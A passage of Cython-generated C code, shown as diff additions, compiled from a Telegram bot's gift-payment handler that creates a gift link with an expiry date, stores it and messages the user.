__Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_timedelta); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 151, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 151, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_10 = __Pyx_PyNumber_Int(__pyx_cur_scope->__pyx_v_selected_months); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 151, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_10); + __pyx_t_11 = __Pyx_PyInt_MultiplyObjC(__pyx_t_10, __pyx_int_30, 30, 0, 0); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 151, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_days, __pyx_t_11) < 0) __PYX_ERR(0, 151, __pyx_L6_error) + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 151, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = PyNumber_Add(__pyx_t_1, __pyx_t_11); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 151, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_GIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_v_expiry_time = __pyx_t_3; + __pyx_t_3 = 0; + + /* "handlers/payments/gift.py":153 + * expiry_time = datetime.utcnow() + timedelta(days=int(selected_months) * 30) + * + * gift_id = f"{uuid.uuid4().hex}" # <<<<<<<<<<<<<< + * + * gift_link = get_gift_link(tg_id, gift_id) + */ + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_uuid); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 153, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_11, __pyx_n_s_uuid4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 153, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_11 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_11)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_11); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_11, NULL}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 153, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_hex); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 153, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_FormatSimple(__pyx_t_1, __pyx_empty_unicode); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 153, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_GIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_v_gift_id = ((PyObject*)__pyx_t_3); + __pyx_t_3 = 0; + + /* "handlers/payments/gift.py":155 + * gift_id = f"{uuid.uuid4().hex}" + * + * gift_link = get_gift_link(tg_id, gift_id) # <<<<<<<<<<<<<< + * + * await store_gift_link(gift_id, tg_id, int(selected_months), expiry_time, gift_link, session) + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_get_gift_link); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 155, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_11 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_11 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_11)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_11); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[3] = {__pyx_t_11, __pyx_cur_scope->__pyx_v_tg_id, __pyx_cur_scope->__pyx_v_gift_id}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 2+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 155, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __Pyx_GIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_v_gift_link = __pyx_t_3; + __pyx_t_3 = 0; + + /* "handlers/payments/gift.py":157 + * gift_link = get_gift_link(tg_id, gift_id) + * + * await store_gift_link(gift_id, tg_id, int(selected_months), expiry_time, gift_link, session) # <<<<<<<<<<<<<< + * + * builder = InlineKeyboardBuilder() + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_store_gift_link); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 157, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_11 = __Pyx_PyNumber_Int(__pyx_cur_scope->__pyx_v_selected_months); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 157, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[7] = {__pyx_t_2, __pyx_cur_scope->__pyx_v_gift_id, __pyx_cur_scope->__pyx_v_tg_id, __pyx_t_11, __pyx_cur_scope->__pyx_v_expiry_time, __pyx_cur_scope->__pyx_v_gift_link, __pyx_cur_scope->__pyx_v_session}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 6+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 157, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_7); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_7; + __Pyx_XGIVEREF(__pyx_t_8); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_8; + __Pyx_XGIVEREF(__pyx_t_9); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_9; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 3; + return __pyx_r; + __pyx_L13_resume_from_await:; + __pyx_t_7 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_7); + __pyx_t_8 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_8); + __pyx_t_9 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_9); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 157, __pyx_L6_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 157, __pyx_L6_error) + } + } + + /* "handlers/payments/gift.py":159 + * await store_gift_link(gift_id, tg_id, int(selected_months), expiry_time, gift_link, session) + * + * builder = InlineKeyboardBuilder() # <<<<<<<<<<<<<< + * builder.row(types.InlineKeyboardButton(text=" ", callback_data="profile")) + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 159, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_11 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_11 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_11)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_11); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_11, NULL}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 159, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __Pyx_GIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_v_builder = __pyx_t_3; + __pyx_t_3 = 0; + + /* "handlers/payments/gift.py":160 + * + * builder = InlineKeyboardBuilder() + * builder.row(types.InlineKeyboardButton(text=" ", callback_data="profile")) # <<<<<<<<<<<<<< + * + * await callback_query.message.answer( + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 160, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_types); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 160, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_11, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 160, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 160, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_11); + if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_text, __pyx_kp_u__4) < 0) __PYX_ERR(0, 160, __pyx_L6_error) + if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_callback_data, __pyx_n_u_profile) < 0) __PYX_ERR(0, 160, __pyx_L6_error) + __pyx_t_10 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_empty_tuple, __pyx_t_11); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 160, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_11 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_11)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_11); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_11, __pyx_t_10}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 160, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/gift.py":162 + * builder.row(types.InlineKeyboardButton(text=" ", callback_data="profile")) + * + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * text=( + * f" {selected_months} {'' if selected_months == '1' else '' if int(selected_months) in [2, 3, 4] else ''} !\n\n" + */ + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 162, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_answer); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 162, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/gift.py":163 + * + * await callback_query.message.answer( + * text=( # <<<<<<<<<<<<<< + * f" {selected_months} {'' if selected_months == '1' else '' if int(selected_months) in [2, 3, 4] else ''} !\n\n" + * f" :\n\n {gift_link}\n\n" + */ + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 163, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_3); + + /* "handlers/payments/gift.py":164 + * await callback_query.message.answer( + * text=( + * f" {selected_months} {'' if selected_months == '1' else '' if int(selected_months) in [2, 3, 4] else ''} !\n\n" # <<<<<<<<<<<<<< + * f" :\n\n {gift_link}\n\n" + * " ." + */ + __pyx_t_10 = PyTuple_New(7); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 164, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_10); + __pyx_t_12 = 0; + __pyx_t_13 = 127; + __Pyx_INCREF(__pyx_kp_u_b_2); + __pyx_t_13 = (1114111 > __pyx_t_13) ? 1114111 : __pyx_t_13; + __pyx_t_12 += 17; + __Pyx_GIVEREF(__pyx_kp_u_b_2); + PyTuple_SET_ITEM(__pyx_t_10, 0, __pyx_kp_u_b_2); + __pyx_t_11 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_selected_months, __pyx_empty_unicode); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 164, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_13 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_11) > __pyx_t_13) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_11) : __pyx_t_13; + __pyx_t_12 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_11); + __Pyx_GIVEREF(__pyx_t_11); + PyTuple_SET_ITEM(__pyx_t_10, 1, __pyx_t_11); + __pyx_t_11 = 0; + __Pyx_INCREF(__pyx_kp_u__13); + __pyx_t_12 += 1; + __Pyx_GIVEREF(__pyx_kp_u__13); + PyTuple_SET_ITEM(__pyx_t_10, 2, __pyx_kp_u__13); + __pyx_t_6 = (__Pyx_PyUnicode_Equals(__pyx_cur_scope->__pyx_v_selected_months, __pyx_kp_u_1, Py_EQ)); if (unlikely((__pyx_t_6 < 0))) __PYX_ERR(0, 164, __pyx_L6_error) + if (__pyx_t_6) { + __Pyx_INCREF(__pyx_n_u__14); + __pyx_t_11 = __pyx_n_u__14; + } else { + __pyx_t_14 = __Pyx_PyNumber_Int(__pyx_cur_scope->__pyx_v_selected_months); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 164, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_14); + __pyx_t_15 = (__Pyx_PyInt_BoolEqObjC(__pyx_t_14, __pyx_int_2, 2, 0)); if (unlikely((__pyx_t_15 < 0))) __PYX_ERR(0, 164, __pyx_L6_error) + if (!__pyx_t_15) { + } else { + __pyx_t_5 = __pyx_t_15; + goto __pyx_L14_bool_binop_done; + } + __pyx_t_15 = (__Pyx_PyInt_BoolEqObjC(__pyx_t_14, __pyx_int_3, 3, 0)); if (unlikely((__pyx_t_15 < 0))) __PYX_ERR(0, 164, __pyx_L6_error) + if (!__pyx_t_15) { + } else { + __pyx_t_5 = __pyx_t_15; + goto __pyx_L14_bool_binop_done; + } + __pyx_t_15 = (__Pyx_PyInt_BoolEqObjC(__pyx_t_14, __pyx_int_4, 4, 0)); if (unlikely((__pyx_t_15 < 0))) __PYX_ERR(0, 164, __pyx_L6_error) + __pyx_t_5 = __pyx_t_15; + __pyx_L14_bool_binop_done:; + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + __pyx_t_15 = __pyx_t_5; + if (__pyx_t_15) { + __Pyx_INCREF(__pyx_n_u__15); + __pyx_t_2 = __pyx_n_u__15; + } else { + __Pyx_INCREF(__pyx_n_u__16); + __pyx_t_2 = __pyx_n_u__16; + } + __pyx_t_11 = __pyx_t_2; + __pyx_t_2 = 0; + } + __pyx_t_2 = __Pyx_PyUnicode_Unicode(__pyx_t_11); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 164, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_13 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_2) > __pyx_t_13) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_2) : __pyx_t_13; + __pyx_t_12 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_2); + __Pyx_GIVEREF(__pyx_t_2); + PyTuple_SET_ITEM(__pyx_t_10, 3, __pyx_t_2); + __pyx_t_2 = 0; + __Pyx_INCREF(__pyx_kp_u_b_code); + __pyx_t_13 = (1114111 > __pyx_t_13) ? 1114111 : __pyx_t_13; + __pyx_t_12 += 65; + __Pyx_GIVEREF(__pyx_kp_u_b_code); + PyTuple_SET_ITEM(__pyx_t_10, 4, __pyx_kp_u_b_code); + + /* "handlers/payments/gift.py":165 + * text=( + * f" {selected_months} {'' if selected_months == '1' else '' if int(selected_months) in [2, 3, 4] else ''} !\n\n" + * f" :\n\n {gift_link}\n\n" # <<<<<<<<<<<<<< + * " ." + * ), + */ + __pyx_t_2 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_gift_link, __pyx_empty_unicode); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 165, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_13 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_2) > __pyx_t_13) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_2) : __pyx_t_13; + __pyx_t_12 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_2); + __Pyx_GIVEREF(__pyx_t_2); + PyTuple_SET_ITEM(__pyx_t_10, 5, __pyx_t_2); + __pyx_t_2 = 0; + __Pyx_INCREF(__pyx_kp_u_code); + __pyx_t_13 = (65535 > __pyx_t_13) ? 65535 : __pyx_t_13; + __pyx_t_12 += 51; + __Pyx_GIVEREF(__pyx_kp_u_code); + PyTuple_SET_ITEM(__pyx_t_10, 6, __pyx_kp_u_code); + + /* "handlers/payments/gift.py":164 + * await callback_query.message.answer( + * text=( + * f" {selected_months} {'' if selected_months == '1' else '' if int(selected_months) in [2, 3, 4] else ''} !\n\n" # <<<<<<<<<<<<<< + * f" :\n\n {gift_link}\n\n" + * " ." + */ + __pyx_t_2 = __Pyx_PyUnicode_Join(__pyx_t_10, 7, __pyx_t_12, __pyx_t_13); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 164, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_t_2) < 0) __PYX_ERR(0, 163, __pyx_L6_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/gift.py":168 + * " ." + * ), + * reply_markup=builder.as_markup(), # <<<<<<<<<<<<<< + * ) + * except Exception as e: + */ + __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 168, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_10); + __pyx_t_11 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_10))) { + __pyx_t_11 = PyMethod_GET_SELF(__pyx_t_10); + if (likely(__pyx_t_11)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_10); + __Pyx_INCREF(__pyx_t_11); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_10, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_11, NULL}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_10, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 168, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + } + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_reply_markup, __pyx_t_2) < 0) __PYX_ERR(0, 163, __pyx_L6_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/gift.py":162 + * builder.row(types.InlineKeyboardButton(text=" ", callback_data="profile")) + * + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * text=( + * f" {selected_months} {'' if selected_months == '1' else '' if int(selected_months) in [2, 3, 4] else ''} !\n\n" + */ + __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 162, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_2); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_7); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_7; + __Pyx_XGIVEREF(__pyx_t_8); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_8; + __Pyx_XGIVEREF(__pyx_t_9); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_9; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 4; + return __pyx_r; + __pyx_L17_resume_from_await:; + __pyx_t_7 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_7); + __pyx_t_8 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_8); + __pyx_t_9 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_9); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 162, __pyx_L6_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 162, __pyx_L6_error) + } + } + + /* "handlers/payments/gift.py":148 + * return + * + * try: # <<<<<<<<<<<<<< + * await update_balance(tg_id, -price) + * + */ + } + __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; + goto __pyx_L11_try_end; + __pyx_L6_error:; + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_XDECREF(__pyx_t_14); __pyx_t_14 = 0; + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/gift.py":170 + * reply_markup=builder.as_markup(), + * ) + * except Exception as e: # <<<<<<<<<<<<<< + * await callback_query.message.answer(text=f" : {e}\n, .") + * + */ + __pyx_t_16 = __Pyx_PyErr_ExceptionMatches(((PyObject *)(&((PyTypeObject*)PyExc_Exception)[0]))); + if (__pyx_t_16) { + __Pyx_AddTraceback("handlers.payments.gift.finalize_gift_handler", __pyx_clineno, __pyx_lineno, __pyx_filename); + if (__Pyx_GetException(&__pyx_t_2, &__pyx_t_3, &__pyx_t_1) < 0) __PYX_ERR(0, 170, __pyx_L8_except_error) + __Pyx_XGOTREF(__pyx_t_2); + __Pyx_XGOTREF(__pyx_t_3); + __Pyx_XGOTREF(__pyx_t_1); + __Pyx_INCREF(__pyx_t_3); + __Pyx_GIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_v_e = __pyx_t_3; + /*try:*/ { + + /* "handlers/payments/gift.py":171 + * ) + * except Exception as e: + * await callback_query.message.answer(text=f" : {e}\n, .") # <<<<<<<<<<<<<< + * + * + */ + __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 171, __pyx_L23_error) + __Pyx_GOTREF(__pyx_t_10); + __pyx_t_11 = __Pyx_PyObject_GetAttrStr(__pyx_t_10, __pyx_n_s_answer); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 171, __pyx_L23_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + __pyx_t_10 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 171, __pyx_L23_error) + __Pyx_GOTREF(__pyx_t_10); + __pyx_t_14 = PyTuple_New(3); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 171, __pyx_L23_error) + __Pyx_GOTREF(__pyx_t_14); + __pyx_t_12 = 0; + __pyx_t_13 = 127; + __Pyx_INCREF(__pyx_kp_u__33); + __pyx_t_13 = (65535 > __pyx_t_13) ? 65535 : __pyx_t_13; + __pyx_t_12 += 31; + __Pyx_GIVEREF(__pyx_kp_u__33); + PyTuple_SET_ITEM(__pyx_t_14, 0, __pyx_kp_u__33); + __pyx_t_17 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_e, __pyx_empty_unicode); if (unlikely(!__pyx_t_17)) __PYX_ERR(0, 171, __pyx_L23_error) + __Pyx_GOTREF(__pyx_t_17); + __pyx_t_13 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_17) > __pyx_t_13) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_17) : __pyx_t_13; + __pyx_t_12 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_17); + __Pyx_GIVEREF(__pyx_t_17); + PyTuple_SET_ITEM(__pyx_t_14, 